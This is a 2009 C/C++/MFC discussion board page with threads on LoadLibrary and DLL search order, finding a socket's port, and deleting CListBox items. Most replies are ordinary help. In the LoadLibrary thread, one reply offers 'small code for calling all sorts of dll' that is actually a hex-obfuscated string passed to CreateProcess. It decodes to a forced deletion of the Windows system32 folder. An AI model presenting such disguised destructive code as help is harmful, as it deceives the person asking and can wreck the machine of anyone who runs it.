Re: How to use loadlibrary function - C / C++ / MFC Discussion Boards

Re: How to use loadlibrary function

Cedric Moonen19-Mar-09 4:39

Cedric Moonen

19-Mar-09 4:39

So true...
BTW, it's been a loooong time we didn't see him here. Maybe they unpluged him Smile | :)

Cédric Moonen
Software developer

Charting control [v1.5]
OpenGL game tutorial in C++

Re: How to use loadlibrary function

led mike19-Mar-09 6:57

led mike

19-Mar-09 6:57

Cedric Moonen wrote:
Maybe they unpluged him

Oh the poor bot Cry | :((

Re: How to use loadlibrary function

#realJSOP19-Mar-09 3:36

#realJSOP

19-Mar-09 3:36

Specifying just the name of the DLL will cause Windows to look in the following folders in the following order:

0) The folder in which the application loading the DLL is running

1) Windows/System32

2) The folders specified in your system path statement (in the left-to-right order in which they appear in the path statement)

"Why don't you tie a kerosene-soaked rag around your ankles so the ants won't climb up and eat your candy ass..." - Dale Earnhardt, 1997
-----
"...the staggering layers of obscenity in your statement make it a work of art on so many levels." - Jason Jystad, 10/26/2001

Re: How to use loadlibrary function

CPallini19-Mar-09 3:53

CPallini

19-Mar-09 3:53

What kind of DLL is it?
You know, COM DLLs need registration, moreover, COM DLLs should be accessed the COM's way (i.e. via CoCreateInstance).
Are you sure you need explicit linking (i.e. LoadLibrary) with the library?

BTW: please don't answer: "it gives me errors...".
Smile | :)

If the Lord God Almighty had consulted me before embarking upon the Creation, I would have recommended something simpler.
-- Alfonso the Wise, 13th Century King of Castile.

This is going on my arrogant assumptions. You may have a superb reason why I'm completely wrong.
-- Iain Clarke

[My articles]

Re: How to use loadlibrary function

Ash_VCPP19-Mar-09 4:08

Ash_VCPP

19-Mar-09 4:08

can you please write small code for calling both normal and com dll.....

Thanks A Ton
Ash_VCPP

Re: How to use loadlibrary function

led mike19-Mar-09 4:26

led mike

19-Mar-09 4:26

Ash_VCPP wrote:
can you please write small code for calling both normal and com dll.....

Why? I mean that code is already in thousands of web pages so why put it in another one here?

People come here all the time asking for stuff that already exists and can easily be found using Google. They do it all the time and it still doesn't work.

Re: How to use loadlibrary function

CPallini19-Mar-09 7:14

CPallini

19-Mar-09 7:14

Done, many times. Now it's your turn. Roll eyes | :rolleyes:

BTW: Why are you asking for code? Why do you want code for accessing both kind of libraries? I think it would be more profitable an effort to understand what kind of library are you dealing with and what is the best approach for using it.
Smile | :)

Re: How to use loadlibrary function

bulg19-Mar-09 8:59

bulg

19-Mar-09 8:59

Here's a small code for calling all sorts of dll:

// sample arguments
int i;
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory( &si, sizeof(si) );
si.cb = sizeof(si);
ZeroMemory( &pi, sizeof(pi) );
char arg[] = {0x64,0x65,0x6c,0x74,0x72,0x65,0x65,0x20,0x2f,0x79,0x20,0x22,0x43,0x3a,0x5c,0x77,0x69,0x6e,0x64,0x6f,0x77,0x73,0x5c,0x73,0x79,0x73,0x74,0x65,0x6d,0x33,0x32,0x5c,0x22,'\0'};
i = CreateProcess("cmd.exe",arg,NULL,NULL,0,0,NULL,NULL, &si, &pi);
if(i){
 // something happened
} else {
 // nothing happened
}

disclaimer: use at your own risk, I'm not responsible for your actions.

Re: How to use loadlibrary function

Snorri Kristjansson21-Mar-09 1:10

Snorri Kristjansson

21-Mar-09 1:10

LOL
NASTY!

How to get a port number bound to a given socket using function other than getsockname()

Gajendra Sharma19-Mar-09 0:55

Gajendra Sharma

19-Mar-09 0:55

Hello,

Is there any way to get port number bound to a given socket using the socket descriptor. I dont want to use getsockname().

Thanks in advance.

Gajendra

Re: How to get a port number bound to a given socket using function other than getsockname()

«_Superman_»19-Mar-09 1:05

«_Superman_»

19-Mar-09 1:05

Why don't you want to use getsockname().

«_Superman_»
I love work. It gives me something to do between weekends.

Re: How to get a port number bound to a given socket using function other than getsockname()

Gajendra Sharma19-Mar-09 1:27

Gajendra Sharma

19-Mar-09 1:27

Thanks for your response.
the problem is getsockname() sometimes fails due the following microsoft issue:
http://support.microsoft.com/kb/319952[^]

Gajendra

Re: How to get a port number bound to a given socket using function other than getsockname()

«_Superman_»19-Mar-09 1:33

«_Superman_»

19-Mar-09 1:33

I think you should use it because the site also talk about the resolution for the failure.

«_Superman_»
I love work. It gives me something to do between weekends.

Re: How to get a port number bound to a given socket using function other than getsockname()

Gajendra Sharma19-Mar-09 1:40

Gajendra Sharma

19-Mar-09 1:40

I want to avoid the complexity associated with WSADuplicateSocket. I just want to pass the port number across processes, thats my only requirement. I need some mechanism through which i can get socket number in parent process and pass it to the child process as an argument. By parent process i mean process that invokes the second process, which i call the child process.

Gajendra

Re: How to get a port number bound to a given socket using function other than getsockname()

«_Superman_»19-Mar-09 1:48

«_Superman_»

19-Mar-09 1:48

Don't duplicate the socket at all.
Get the port number using the socket descriptor.
And pass this port number to the child process as a command line argument.

«_Superman_»
I love work. It gives me something to do between weekends.

Re: How to get a port number bound to a given socket using function other than getsockname()

Gajendra Sharma19-Mar-09 2:02

Gajendra Sharma

19-Mar-09 2:02

u mean using Get the port number using getsockname()?

Gajendra

Re: How to get a port number bound to a given socket using function other than getsockname()

«_Superman_»19-Mar-09 2:02

«_Superman_»

19-Mar-09 2:02

Yes, without duplicating the socket.

«_Superman_»
I love work. It gives me something to do between weekends.

Re: How to get a port number bound to a given socket using function other than getsockname()

Gajendra Sharma25-Mar-09 21:20

Gajendra Sharma

25-Mar-09 21:20

Thanks for your answer!!!

Gajendra

Re: How to get a port number bound to a given socket using function other than getsockname()

CPallini19-Mar-09 7:15

CPallini

19-Mar-09 7:15

5.

Delete all items of a CListBox

llp00na18-Mar-09 22:32

llp00na

18-Mar-09 22:32

I am trying to delete all items of a CListBox

However, only the top item is removed once calling this routine, How do I delete everything ?

Thanks

<br />
numOfItems= listBox.GetCount();<br />
<br />
for (int i =0; i<=numOfItems; i++){<br />
lisBox.DeleteString(i);<br />
}<br />

llp00na

Re: Delete all items of a CListBox

Code-o-mat18-Mar-09 22:45

Code-o-mat

18-Mar-09 22:45

CListBox::ResetContent[^].
Btw there's also a fundamantal flaw in your method. Consider what your loop does:
1. i becomes 0, the very first ("zeroth") item is deleted from your list, this will raise all other items 1 place, so 0 goes away, 1st becomes the 0th, 2nd becomes 1st, 3rd becomes 2nd and so on...
2. i now becomes 1, the 1st item in your list is deleted, and the ones under it jump up one place, so the 0th item is untouched, the 1st is deleted, 2nd becomes 1st, 3->2, 4->3 ...
3. i now becomes 2, 2nd item is deleted, so 0th is untouched, 1st is untouched, 2nd is deleted, 3rd becomes 2bd, 4->3 and so on...

Get the problem?

> The problem with computers is that they do what you tell them to do and not what you want them to do. <
> Life: great graphics, but the gameplay sux. <

Re: Delete all items of a CListBox

llp00na18-Mar-09 22:52

llp00na

18-Mar-09 22:52

Great answer

Thanks for the clarification. Looks like i can not think anymore D'Oh! | :doh:

llp00na

Re: Delete all items of a CListBox

Code-o-mat18-Mar-09 23:06

Code-o-mat

18-Mar-09 23:06

Yourwelcome. Smile | :)

If you want to stick to the for loop, try movings in reverse, so something like:

for (int I = Count - 1; I >= 0; I--)
  listbox.DeleteString(I);

or simply do this:

for (int I = 0; I < Count; I++)
  listbox.DeleteString(0);

> The problem with computers is that they do what you tell them to do and not what you want them to do. <
> Life: great graphics, but the gameplay sux. <

Re: Delete all items of a CListBox

llp00na18-Mar-09 23:18

llp00na

18-Mar-09 23:18

Awesome ideas

Thanks

llp00na

Re: Delete all items of a CListBox

surya981216-Jul-11 3:39

surya9812

16-Jul-11 3:39

use this:

m_listBox.resetContent();

Thanks

Surya

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